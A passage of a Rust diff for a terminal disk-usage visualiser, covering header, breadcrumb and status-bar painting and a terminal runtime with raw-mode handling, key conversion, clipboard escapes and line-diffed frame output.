|
||||||
|
}
|
||||||
|
self.paint_crumbs(&tr, &mut cv, g.crumbs);
|
||||||
|
if !g.side.empty() {
|
||||||
|
self.paint_side(&tr, &mut cv, g.side);
|
||||||
|
}
|
||||||
|
self.paint_view(&tr, &mut cv, g.main);
|
||||||
|
if !g.info.empty() {
|
||||||
|
self.paint_info_line(&tr, &mut cv, g.info);
|
||||||
|
}
|
||||||
|
self.paint_status(&tr, &mut cv, g.stat, class);
|
||||||
|
if class == SizeClass::Small && self.search.editing {
|
||||||
|
self.paint_search(&mut cv, g.stat);
|
||||||
|
}
|
||||||
|
if !self.modals.is_empty() {
|
||||||
|
self.paint_modal(&tr, &mut cv);
|
||||||
|
}
|
||||||
|
cv.render(self.depth())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn depth(&self) -> Depth {
|
||||||
|
match self.profile {
|
||||||
|
Profile::Ansi256 => Depth::C256,
|
||||||
|
Profile::Ansi => Depth::C16,
|
||||||
|
Profile::Ascii => Depth::None,
|
||||||
|
Profile::TrueColor => Depth::True,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn render_too_small(&self, cv: &mut Canvas) {
|
||||||
|
let st = self.theme.muted();
|
||||||
|
let lines = ["Terminal too small".to_string(), format!("{}×{} — need {}×{}", self.w, self.h, MIN_W, MIN_H), "q quits".to_string()];
|
||||||
|
let y0 = 0.max((self.h - lines.len() as i32) / 2);
|
||||||
|
for (i, l) in lines.iter().enumerate() {
|
||||||
|
cv.text_centered(0, y0 + i as i32, self.w, l, st);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn mono_rev(&self) -> Attr {
|
||||||
|
if self.theme.mono {
|
||||||
|
REVERSE
|
||||||
|
} else {
|
||||||
|
0
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Draws the view tabs and mode chips.
|
||||||
|
fn paint_tabs(&mut self, tr: &Tree, cv: &mut Canvas, r: Rect) {
|
||||||
|
let t = self.theme.clone();
|
||||||
|
cv.fill(r, " ", t.header());
|
||||||
|
let badge = if t.ascii { format!(" {} ", brand::NAME) } else { format!(" ◧ {} ", brand::NAME) };
|
||||||
|
let mut x = cv.text(r.x, r.y, &badge, r.w, Style::new(t.text_on(t.accent), t.accent).with(BOLD | self.mono_rev()));
|
||||||
|
x += 1;
|
||||||
|
let names: Vec<&'static str> = self.views.iter().map(|v| v.name()).collect();
|
||||||
|
for (i, name) in names.iter().enumerate() {
|
||||||
|
let label = format!(" {name} ");
|
||||||
|
let st = if i == self.view {
|
||||||
|
Style::new(t.fg, t.bg).with(BOLD | UNDERLINE)
|
||||||
|
} else {
|
||||||
|
Style::new(t.muted, t.header_bg)
|
||||||
|
};
|
||||||
|
if x + tw(&label) >= r.w - 30 {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
let w = cv.text(x, r.y, &label, r.w - x, st);
|
||||||
|
self.hits.push(Hit { r: Rect { x, y: r.y, w, h: 1 }, act: HitAct::SetView(i) });
|
||||||
|
x += w;
|
||||||
|
}
|
||||||
|
// Right-aligned chips.
|
||||||
|
let mut chips: Vec<(String, Color)> = Vec::new();
|
||||||
|
if self.opts.read_only {
|
||||||
|
chips.push(("READ ONLY".into(), t.err));
|
||||||
|
}
|
||||||
|
if self.snapshot {
|
||||||
|
chips.push(("SNAPSHOT".into(), t.accent));
|
||||||
|
}
|
||||||
|
if self.opts.diff.is_some() {
|
||||||
|
chips.push(("COMPARE".into(), t.diff_new));
|
||||||
|
}
|
||||||
|
if self.search.query.is_some() {
|
||||||
|
chips.push(("FILTER".into(), t.warn));
|
||||||
|
}
|
||||||
|
if !tr.stats.excludes.is_empty() {
|
||||||
|
chips.push((format!("EXCL {}", tr.stats.excludes.len()), t.faint));
|
||||||
|
}
|
||||||
|
chips.push((self.size_mode.name().to_uppercase(), t.faint));
|
||||||
|
let mut rx = r.x + r.w;
|
||||||
|
for (s, bg) in chips.iter().rev() {
|
||||||
|
let s = format!(" {s} ");
|
||||||
|
let w = tw(&s);
|
||||||
|
if rx - w - 1 < x {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
rx -= w;
|
||||||
|
cv.text(rx, r.y, &s, w, Style::new(t.text_on(*bg), *bg).with(BOLD | self.mono_rev()));
|
||||||
|
rx -= 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Draws "/ › home › andy" breadcrumbs, truncated from the left, with the
|
||||||
|
/// zoom root's size on the right.
|
||||||
|
fn paint_crumbs(&mut self, tr: &Tree, cv: &mut Canvas, r: Rect) {
|
||||||
|
let t = self.theme.clone();
|
||||||
|
cv.fill(r, " ", t.header());
|
||||||
|
let z = tr.node(self.zoom);
|
||||||
|
let size = self.size_of(tr, self.zoom);
|
||||||
|
let mut right = format!(" {}", textutil::size(size));
|
||||||
|
let root = self.size_of(tr, 0);
|
||||||
|
if self.zoom != 0 && root > 0 {
|
||||||
|
right += &format!(" {} of scan", textutil::percent(size, root));
|
||||||
|
}
|
||||||
|
if let Some(res) = &self.search.result {
|
||||||
|
right += &format!(" ({} matches)", textutil::count(res.count));
|
||||||
|
}
|
||||||
|
if z.is_dir() {
|
||||||
|
right += &format!(" {} files", textutil::count(z.files as i64));
|
||||||
|
}
|
||||||
|
right += " ";
|
||||||
|
let mut rw = tw(&right);
|
||||||
|
if rw > r.w / 2 {
|
||||||
|
right = format!(" {} ", textutil::size_compact(size));
|
||||||
|
rw = tw(&right);
|
||||||
|
}
|
||||||
|
cv.text_right(r.x, r.y, r.w, &right, Style::new(t.header_fg, t.header_bg).with(BOLD));
|
||||||
|
|
||||||
|
let sep = if t.ascii { " > " } else { " › " };
|
||||||
|
let segs: Vec<(u32, String)> = tr.ancestors(self.zoom).into_iter().map(|id| (id, san(&tr.node(id).name))).collect();
|
||||||
|
let avail = r.w - rw - 2;
|
||||||
|
// Drop leading segments until the rest fits; keep at least the last.
|
||||||
|
let total = |from: usize| {
|
||||||
|
let mut w = 0;
|
||||||
|
for i in from..segs.len() {
|
||||||
|
w += tw(&segs[i].1);
|
||||||
|
if i > from {
|
||||||
|
w += tw(sep);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if from > 0 {
|
||||||
|
w += tw(&format!("…{sep}"));
|
||||||
|
}
|
||||||
|
w
|
||||||
|
};
|
||||||
|
let mut from = 0;
|
||||||
|
while from + 1 < segs.len() && total(from) > avail {
|
||||||
|
from += 1;
|
||||||
|
}
|
||||||
|
let mut x = r.x + 1;
|
||||||
|
if from > 0 {
|
||||||
|
x += cv.text(x, r.y, &format!("…{sep}"), avail, Style::new(t.muted, t.header_bg));
|
||||||
|
}
|
||||||
|
for i in from..segs.len() {
|
||||||
|
if i > from {
|
||||||
|
x += cv.text(x, r.y, sep, r.x + 1 + avail - x, Style::new(t.faint, t.header_bg));
|
||||||
|
}
|
||||||
|
let last = i == segs.len() - 1;
|
||||||
|
let st = if last { Style::new(t.fg, t.header_bg).with(BOLD) } else { Style::new(t.muted, t.header_bg) };
|
||||||
|
let s = if last { trunc_left(&segs[i].1, 1.max(r.x + 1 + avail - x)) } else { segs[i].1.clone() };
|
||||||
|
let w = cv.text(x, r.y, &s, r.x + 1 + avail - x, st);
|
||||||
|
self.hits.push(Hit { r: Rect { x, y: r.y, w, h: 1 }, act: HitAct::ZoomTo(segs[i].0) });
|
||||||
|
x += w;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Describes the selection (or shows the search editor).
|
||||||
|
fn paint_info_line(&mut self, tr: &Tree, cv: &mut Canvas, r: Rect) {
|
||||||
|
let t = self.theme.clone();
|
||||||
|
cv.fill(r, " ", t.panel());
|
||||||
|
if self.search.editing {
|
||||||
|
self.paint_search(cv, r);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if self.search.query.is_some() {
|
||||||
|
self.paint_filter_summary(tr, cv, r);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let d = self.describe_selection(tr);
|
||||||
|
cv.text(r.x + 1, r.y, &d, r.w - 2, t.panel());
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn describe_selection(&mut self, tr: &Tree) -> String {
|
||||||
|
let id = self.selected_node(tr);
|
||||||
|
if is_group(self.sel) {
|
||||||
|
if let Some(g) = self.group_info(self.sel) {
|
||||||
|
return format!(
|
||||||
|
"▸ {} smaller items · {} · {} of {} · Enter lists them",
|
||||||
|
textutil::count(g.ids().len() as i64),
|
||||||
|
textutil::size(g.size),
|
||||||
|
textutil::percent(g.size, self.size_of(tr, self.zoom)),
|
||||||
|
san(&tr.node(self.zoom).name)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if id == NO_NODE {
|
||||||
|
return "Nothing selected".into();
|
||||||
|
}
|
||||||
|
let n = tr.node(id);
|
||||||
|
let mut parts = vec![format!("▸ {}", san(&n.name)), textutil::size(self.size_of(tr, id))];
|
||||||
|
if n.parent != NO_NODE {
|
||||||
|
parts.push(textutil::percent(self.size_of(tr, id), self.size_of(tr, n.parent)) + " of parent");
|
||||||
|
}
|
||||||
|
if n.is_dir() {
|
||||||
|
parts.push(textutil::count(n.files as i64) + " files");
|
||||||
|
parts.push(textutil::count(n.dirs as i64) + " dirs");
|
||||||
|
if !n.has(FLAG_SCANNED) && self.scanning {
|
||||||
|
parts.push("scanning…".into());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
parts.push(kind_label(n));
|
||||||
|
}
|
||||||
|
if n.mtime > 0 {
|
||||||
|
parts.push("modified ".to_string() + &fmt_date(n.mtime));
|
||||||
|
}
|
||||||
|
if n.errors > 0 {
|
||||||
|
parts.push(format!("{} errors", n.errors));
|
||||||
|
}
|
||||||
|
if let Some(d) = &self.opts.diff {
|
||||||
|
parts.push(textutil::signed_size(d.delta(tr, id, self.size_mode)) + " vs old snapshot");
|
||||||
|
}
|
||||||
|
parts.join(" · ")
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Draws the live status bar.
|
||||||
|
fn paint_status(&mut self, tr: &Tree, cv: &mut Canvas, r: Rect, class: SizeClass) {
|
||||||
|
let t = self.theme.clone();
|
||||||
|
cv.fill(r, " ", t.status());
|
||||||
|
let help = if class == SizeClass::Small { " ? " } else { " ? help " };
|
||||||
|
let hw = cv.text(r.x + r.w - tw(help), r.y, help, r.w, Style::new(t.muted, t.status_bg));
|
||||||
|
let avail = r.w - hw - 1;
|
||||||
|
if !self.toast.is_empty() {
|
||||||
|
cv.text(r.x + 1, r.y, &self.toast, avail - 1, self.toast_style);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let st = &tr.stats;
|
||||||
|
let root = tr.node(0);
|
||||||
|
let files = st.files + st.symlinks + st.others;
|
||||||
|
let mut parts: Vec<(String, Color)> = Vec::new();
|
||||||
|
if self.scanning {
|
||||||
|
let ms = std::time::SystemTime::now().duration_since(std::time::UNIX_EPOCH).unwrap_or_default().as_millis();
|
||||||
|
let frame = if t.ascii { "*" } else { SPINNER[(ms / 100) as usize % SPINNER.len()] };
|
||||||
|
parts.push((format!("{frame} scanning"), t.accent));
|
||||||
|
} else if st.cancelled {
|
||||||
|
parts.push(("✗ cancelled".into(), t.warn));
|
||||||
|
} else if self.snapshot {
|
||||||
|
parts.push(("◉ snapshot".into(), t.accent));
|
||||||
|
} else {
|
||||||
|
parts.push(("✓ complete".into(), t.ok));
|
||||||
|
}
|
||||||
|
parts.push((textutil::count(files) + " files", t.status_fg));
|
||||||
|
parts.push((textutil::size(root.total(self.size_mode)), t.status_fg));
|
||||||
|
if self.scanning {
|
||||||
|
let el = st.elapsed();
|
||||||
|
let p = self.scanner.as_ref().map(|s| s.progress()).unwrap_or_default();
|
||||||
|
parts.push((textutil::count((p.entries as f64 / el.as_secs_f64().max(0.001)) as i64) + "/s", t.status_fg));
|
||||||
|
if class != SizeClass::Small {
|
||||||
|
parts.push((format!("{} workers", p.workers), t.muted));
|
||||||
|
parts.push((format!("queue {}", textutil::count(p.pending)), t.muted));
|
||||||
|
}
|
||||||
|
parts.push((textutil::duration(el), t.muted));
|
||||||
|
} else if !self.snapshot && class != SizeClass::Small {
|
||||||
|
parts.push((textutil::duration(st.elapsed()), t.muted));
|
||||||
|
}
|
||||||
|
let e = st.total_errors();
|
||||||
|
if e > 0 {
|
||||||
|
parts.push((format!("{} errors", textutil::count(e)), t.err));
|
||||||
|
}
|
||||||
|
if st.excluded > 0 {
|
||||||
|
parts.push((format!("{} excluded", textutil::count(st.excluded)), t.warn));
|
||||||
|
}
|
||||||
|
if st.incomplete() && !self.scanning && class != SizeClass::Small {
|
||||||
|
parts.push(("totals incomplete".into(), t.warn));
|
||||||
|
}
|
||||||
|
let mut x = r.x + 1;
|
||||||
|
for (i, (s, fg)) in parts.iter().enumerate() {
|
||||||
|
let s = if i > 0 { format!(" {s}") } else { s.clone() };
|
||||||
|
if x + tw(&s) > r.x + avail {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
let mut st = Style::new(*fg, t.status_bg);
|
||||||
|
if i == 0 {
|
||||||
|
st.attr = BOLD;
|
||||||
|
}
|
||||||
|
x += cv.text(x, r.y, &s, avail - x, st);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn kind_label(n: &Node) -> String {
|
||||||
|
match n.kind {
|
||||||
|
Kind::File => n.cat.name().to_string(),
|
||||||
|
Kind::Symlink => "symlink".into(),
|
||||||
|
k => k.name().to_string(),
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,474 @@
|
|||||||
|
//! The terminal runtime: raw mode and alternate screen, an input thread,
|
||||||
|
//! timers and background commands feeding one message loop, and a
|
||||||
|
//! line-diffing frame writer.
|
||||||
|
//!
|
||||||
|
//! The terminal is restored on every exit path: normal quit, errors and
|
||||||
|
//! panics (a panic hook restores it before the default hook prints; the
|
||||||
|
//! scanner aborts the process on worker panics after the hook has run).
|
||||||
|
|
||||||
|
use super::model::{debug_panic, Button, Cmd, Key, Model, Msg, Options, Profile};
|
||||||
|
use crate::brand;
|
||||||
|
use crate::cancel::Cancel;
|
||||||
|
use crate::textutil;
|
||||||
|
use crossbeam_channel::{after, select, Receiver, Sender};
|
||||||
|
use crossterm::event::{self, Event, KeyCode, KeyEvent, KeyEventKind, KeyModifiers, MouseButton, MouseEventKind};
|
||||||
|
use crossterm::{cursor, execute, terminal};
|
||||||
|
use std::fmt::Write as _;
|
||||||
|
use std::io::{self, Write};
|
||||||
|
use std::sync::atomic::{AtomicBool, Ordering};
|
||||||
|
use std::sync::{Arc, Once};
|
||||||
|
use std::time::{Duration, Instant};
|
||||||
|
|
||||||
|
/// Whether the terminal is currently in TUI mode (raw, alternate screen).
|
||||||
|
static ACTIVE: AtomicBool = AtomicBool::new(false);
|
||||||
|
/// Set by the SIGTERM handler; the input thread turns it into a quit.
|
||||||
|
static TERMINATED: AtomicBool = AtomicBool::new(false);
|
||||||
|
|
||||||
|
/// Mouse off (1000/1002/1003/1015/1006), bracketed paste off, cursor on,
|
||||||
|
/// main screen.
|
||||||
|
const RESTORE: &str = "\x1b[?1006l\x1b[?1015l\x1b[?1003l\x1b[?1002l\x1b[?1000l\x1b[?2004l\x1b[?25h\x1b[?1049l";
|
||||||
|
|
||||||
|
fn write_raw(s: &str) {
|
||||||
|
let mut b = s.as_bytes();
|
||||||
|
while !b.is_empty() {
|
||||||
|
let n = unsafe { libc::write(1, b.as_ptr().cast(), b.len()) };
|
||||||
|
if n <= 0 {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
b = &b[n as usize..];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Leaves TUI mode. Safe to call repeatedly and from the panic hook (it
|
||||||
|
/// writes directly to fd 1, so it cannot block on a stdout lock).
|
||||||
|
fn restore_terminal() {
|
||||||
|
if ACTIVE.swap(false, Ordering::SeqCst) {
|
||||||
|
write_raw(RESTORE);
|
||||||
|
let _ = terminal::disable_raw_mode();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn install_panic_hook() {
|
||||||
|
static ONCE: Once = Once::new();
|
||||||
|
ONCE.call_once(|| {
|
||||||
|
let prev = std::panic::take_hook();
|
||||||
|
std::panic::set_hook(Box::new(move |info| {
|
||||||
|
restore_terminal();
|
||||||
|
prev(info);
|
||||||
|
}));
|
||||||
|
extern "C" fn on_term(_: libc::c_int) {
|
||||||
|
TERMINATED.store(true, Ordering::SeqCst);
|
||||||
|
}
|
||||||
|
unsafe { libc::signal(libc::SIGTERM, on_term as *const () as libc::sighandler_t) };
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
fn forced_profile(c: &str) -> Option<Profile> {
|
||||||
|
match c {
|
||||||
|
"truecolor" | "24bit" => Some(Profile::TrueColor),
|
||||||
|
"256" => Some(Profile::Ansi256),
|
||||||
|
"16" => Some(Profile::Ansi),
|
||||||
|
"none" => Some(Profile::Ascii),
|
||||||
|
_ => None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Detects the colour profile from the environment (NO_COLOR, COLORTERM,
|
||||||
|
/// TERM). Over SSH COLORTERM is often not forwarded; --color overrides.
|
||||||
|
fn detect_profile() -> Profile {
|
||||||
|
let env = |k: &str| std::env::var(k).unwrap_or_default().to_lowercase();
|
||||||
|
let (term, ct) = (env("TERM"), env("COLORTERM"));
|
||||||
|
if !env("NO_COLOR").is_empty() || term == "dumb" {
|
||||||
|
return Profile::Ascii;
|
||||||
|
}
|
||||||
|
if ct == "truecolor" || ct == "24bit" || term.ends_with("-direct") {
|
||||||
|
return Profile::TrueColor;
|
||||||
|
}
|
||||||
|
if ["kitty", "alacritty", "wezterm", "ghostty", "foot", "contour", "rio"].iter().any(|t| term.contains(t)) {
|
||||||
|
return Profile::TrueColor;
|
||||||
|
}
|
||||||
|
if term.contains("256color") || !ct.is_empty() {
|
||||||
|
return Profile::Ansi256;
|
||||||
|
}
|
||||||
|
Profile::Ansi
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Starts the interactive UI.
|
||||||
|
pub fn run(opts: Options) -> Result<(), crate::Error> {
|
||||||
|
let cancel = Cancel::new();
|
||||||
|
let (s, t) = (opts.start)(cancel.clone())?;
|
||||||
|
let forced = forced_profile(&opts.color);
|
||||||
|
if forced.is_none() && !opts.color.is_empty() && opts.color != "auto" {
|
||||||
|
cancel.cancel();
|
||||||
|
return Err(format!("invalid --color {:?} (auto, truecolor, 256, 16, none)", opts.color).into());
|
||||||
|
}
|
||||||
|
let mouse = opts.mouse;
|
||||||
|
let mut m = Model::new(opts, s, t, cancel.clone());
|
||||||
|
m.profile = forced.unwrap_or_else(detect_profile);
|
||||||
|
|
||||||
|
install_panic_hook();
|
||||||
|
if debug_panic() == "scanner" {
|
||||||
|
std::thread::spawn(|| {
|
||||||
|
std::thread::sleep(Duration::from_millis(500));
|
||||||
|
// Mirrors the scanner's guard: a worker panic aborts after the hook.
|
||||||
|
if std::panic::catch_unwind(|| panic!("MAPSIZE_DEBUG_PANIC=scanner: deliberate panic to test terminal restoration")).is_err() {
|
||||||
|
std::process::abort();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
let res = enter_terminal(mouse).and_then(|_| event_loop(&mut m));
|
||||||
|
restore_terminal();
|
||||||
|
cancel.cancel();
|
||||||
|
m.cancel.cancel(); // a rescan may have replaced the token
|
||||||
|
Ok(res?)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn enter_terminal(mouse: bool) -> io::Result<()> {
|
||||||
|
terminal::enable_raw_mode()?;
|
||||||
|
ACTIVE.store(true, Ordering::SeqCst);
|
||||||
|
let mut out = io::stdout();
|
||||||
|
execute!(out, terminal::EnterAlternateScreen, cursor::Hide, event::EnableBracketedPaste, terminal::SetTitle(brand::NAME))?;
|
||||||
|
if mouse {
|
||||||
|
execute!(out, event::EnableMouseCapture)?;
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Bubble Tea keystroke name for a key event.
|
||||||
|
fn convert_key(ev: KeyEvent) -> Option<Key> {
|
||||||
|
if ev.kind == KeyEventKind::Release {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let m = ev.modifiers;
|
||||||
|
let (ctrl, alt, shift) = (m.contains(KeyModifiers::CONTROL), m.contains(KeyModifiers::ALT), m.contains(KeyModifiers::SHIFT));
|
||||||
|
let mut prefix = String::new();
|
||||||
|
if ctrl {
|
||||||
|
prefix += "ctrl+";
|
||||||
|
}
|
||||||
|
if alt {
|
||||||
|
prefix += "alt+";
|
||||||
|
}
|
||||||
|
let named = |n: &str| Some(Key { name: format!("{prefix}{}{n}", if shift { "shift+" } else { "" }), text: String::new(), ctrl_alt: ctrl || alt });
|
||||||
|
match ev.code {
|
||||||
|
KeyCode::Char(c) => {
|
||||||
|
let base = if c == ' ' { "space".to_string() } else if ctrl || alt { c.to_lowercase().collect() } else { c.to_string() };
|
||||||
|
let text = if ctrl || alt { String::new() } else { c.to_string() };
|
||||||
|
Some(Key { name: prefix + &base, text, ctrl_alt: ctrl || alt })
|
||||||
|
}
|
||||||
|
KeyCode::BackTab => Some(Key { name: format!("{prefix}shift+tab"), ..Default::default() }),
|
||||||
|
KeyCode::Enter => named("enter"),
|
||||||
|
KeyCode::Esc => named("esc"),
|
||||||
|
KeyCode::Tab => named("tab"),
|
||||||
|
KeyCode::Backspace => named("backspace"),
|
||||||
|
KeyCode::Delete => named("delete"),
|
||||||
|
KeyCode::Insert => named("insert"),
|
||||||
|
KeyCode::Home => named("home"),
|
||||||
|
KeyCode::End => named("end"),
|
||||||
|
KeyCode::PageUp => named("pgup"),
|
||||||
|
KeyCode::PageDown => named("pgdown"),
|
||||||
|
KeyCode::Up => named("up"),
|
||||||
|
KeyCode::Down => named("down"),
|
||||||
|
KeyCode::Left => named("left"),
|
||||||
|
KeyCode::Right => named("right"),
|
||||||
|
KeyCode::F(n) => named(&format!("f{n}")),
|
||||||
|
_ => None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn convert(ev: Event) -> Option<Msg> {
|
||||||
|
match ev {
|
||||||
|
Event::Key(k) => convert_key(k).map(Msg::Key),
|
||||||
|
Event::Resize(w, h) => Some(Msg::Size(w as i32, h as i32)),
|
||||||
|
Event::Mouse(me) => {
|
||||||
|
let (x, y) = (me.column as i32, me.row as i32);
|
||||||
|
match me.kind {
|
||||||
|
MouseEventKind::Down(b) => {
|
||||||
|
let button = match b {
|
||||||
|
MouseButton::Left => Button::Left,
|
||||||
|
MouseButton::Right => Button::Right,
|
||||||
|
MouseButton::Middle => Button::Middle,
|
||||||
|
};
|
||||||
|
Some(Msg::Click { x, y, button })
|
||||||
|
}
|
||||||
|
MouseEventKind::ScrollUp => Some(Msg::Wheel { x, y, up: true }),
|
||||||
|
MouseEventKind::ScrollDown => Some(Msg::Wheel { x, y, up: false }),
|
||||||
|
MouseEventKind::Moved | MouseEventKind::Drag(_) => Some(Msg::Motion { x, y }),
|
||||||
|
_ => None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Pastes are ignored, as in the Go version.
|
||||||
|
_ => None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Reads terminal events until stopped.
|
||||||
|
fn input_thread(tx: Sender<Msg>, stop: Arc<AtomicBool>) {
|
||||||
|
while !stop.load(Ordering::Relaxed) {
|
||||||
|
if TERMINATED.load(Ordering::SeqCst) {
|
||||||
|
let _ = tx.send(Msg::Quit);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
match event::poll(Duration::from_millis(100)) {
|
||||||
|
Ok(true) => match event::read() {
|
||||||
|
Ok(ev) => {
|
||||||
|
if let Some(msg) = convert(ev) {
|
||||||
|
if tx.send(msg).is_err() {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Err(_) => return,
|
||||||
|
},
|
||||||
|
Ok(false) => {}
|
||||||
|
Err(_) => return,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Executes commands: background closures on threads, timers in the loop,
|
||||||
|
/// clipboard writes into the output.
|
||||||
|
struct Runtime {
|
||||||
|
tx: Sender<Msg>,
|
||||||
|
timers: Vec<(Instant, Msg)>,
|
||||||
|
out: String, // pending escape sequences (clipboard)
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Runtime {
|
||||||
|
fn exec(&mut self, cmd: Cmd) {
|
||||||
|
match cmd {
|
||||||
|
Cmd::None => {}
|
||||||
|
Cmd::Batch(v) => v.into_iter().for_each(|c| self.exec(c)),
|
||||||
|
Cmd::Run(f) => {
|
||||||
|
let tx = self.tx.clone();
|
||||||
|
std::thread::spawn(move || {
|
||||||
|
let _ = tx.send(f());
|
||||||
|
});
|
||||||
|
}
|
||||||
|
Cmd::Tick(d, msg) => self.timers.push((Instant::now() + d, msg)),
|
||||||
|
Cmd::Clipboard(s) => {
|
||||||
|
let _ = write!(self.out, "\x1b]52;c;{}\x07", base64(s.as_bytes()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn base64(b: &[u8]) -> String {
|
||||||
|
const A: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||||
|
let mut s = String::with_capacity(b.len().div_ceil(3) * 4);
|
||||||
|
for c in b.chunks(3) {
|
||||||
|
let n = (c[0] as u32) << 16 | (*c.get(1).unwrap_or(&0) as u32) << 8 | *c.get(2).unwrap_or(&0) as u32;
|
||||||
|
for i in 0..4 {
|
||||||
|
if i <= c.len() {
|
||||||
|
s.push(A[(n >> (18 - 6 * i) & 63) as usize] as char);
|
||||||
|
} else {
|
||||||
|
s.push('=');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
s
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Writes frames, rewriting only what changed since the last one: within a
|
||||||
|
/// changed line, the span between the first and last differing style run.
|
||||||
|
#[derive(Default)]
|
||||||
|
struct Screen {
|
||||||
|
prev: Vec<String>,
|
||||||
|
size: (i32, i32),
|
||||||
|
buf: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Splits a serialised line into its SGR-led runs as (start byte, start
|
||||||
|
/// column). The canvas emits an escape only to start a run (text is
|
||||||
|
/// sanitised), and the trailing reset is a zero-width run.
|
||||||
|
fn runs(l: &str) -> Vec<(usize, usize)> {
|
||||||
|
let starts: Vec<usize> = l.match_indices("\x1b[").map(|(i, _)| i).collect();
|
||||||
|
let mut col = 0;
|
||||||
|
let mut out = Vec::with_capacity(starts.len());
|
||||||
|
for (k, &s) in starts.iter().enumerate() {
|
||||||
|
let seg = &l[s..starts.get(k + 1).copied().unwrap_or(l.len())];
|
||||||
|
out.push((s, col));
|
||||||
|
col += textutil::width(&seg[seg.find('m').map_or(seg.len(), |p| p + 1)..]);
|
||||||
|
}
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The changed parts of a line as (column, byte range of new): runs of new
|
||||||
|
/// that do not appear unchanged at the same column in old, grouped into
|
||||||
|
/// contiguous segments. Empty if the lines are equal.
|
||||||
|
fn line_diff(old: &str, new: &str) -> Vec<(usize, std::ops::Range<usize>)> {
|
||||||
|
if old == new {
|
||||||
|
return Vec::new();
|
||||||
|
}
|
||||||
|
let (ro, rn) = (runs(old), runs(new));
|
||||||
|
let end = |l: &str, r: &[(usize, usize)], k: usize| r.get(k + 1).map_or(l.len(), |x| x.0);
|
||||||
|
let mut changed = vec![true; rn.len()];
|
||||||
|
let (mut i, mut j) = (0, 0);
|
||||||
|
while i < ro.len() && j < rn.len() {
|
||||||
|
let (co, cn) = (ro[i].1, rn[j].1);
|
||||||
|
if co == cn {
|
||||||
|
changed[j] = old[ro[i].0..end(old, &ro, i)] != new[rn[j].0..end(new, &rn, j)];
|
||||||
|
(i, j) = (i + 1, j + 1);
|
||||||
|
} else if co < cn {
|
||||||
|
i += 1;
|
||||||
|
} else {
|
||||||
|
j += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let mut out: Vec<(usize, std::ops::Range<usize>)> = Vec::new();
|
||||||
|
for (k, &c) in changed.iter().enumerate() {
|
||||||
|
if !c {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let r = rn[k].0..end(new, &rn, k);
|
||||||
|
match out.last_mut() {
|
||||||
|
Some(last) if last.1.end == r.start => last.1.end = r.end,
|
||||||
|
_ => out.push((rn[k].1, r)),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if out.is_empty() {
|
||||||
|
out.push((0, 0..new.len())); // a line without runs (cannot happen)
|
||||||
|
}
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Screen {
|
||||||
|
fn draw(&mut self, out: &mut impl Write, frame: &str, w: i32, h: i32, extra: &str) -> io::Result<()> {
|
||||||
|
self.buf.clear();
|
||||||
|
self.buf.push_str("\x1b[?2026h"); // synchronized output, where supported
|
||||||
|
if (w, h) != self.size {
|
||||||
|
self.buf.push_str("\x1b[0m\x1b[2J");
|
||||||
|
self.prev.clear();
|
||||||
|
self.size = (w, h);
|
||||||
|
}
|
||||||
|
let mut n = 0;
|
||||||
|
for (y, l) in frame.split('\n').enumerate() {
|
||||||
|
match self.prev.get_mut(y) {
|
||||||
|
Some(p) => {
|
||||||
|
let d = line_diff(p, l);
|
||||||
|
for (col, r) in &d {
|
||||||
|
let _ = write!(self.buf, "\x1b[{};{}H{}", y + 1, col + 1, &l[r.clone()]);
|
||||||
|
}
|
||||||
|
if !d.is_empty() {
|
||||||
|
p.clear();
|
||||||
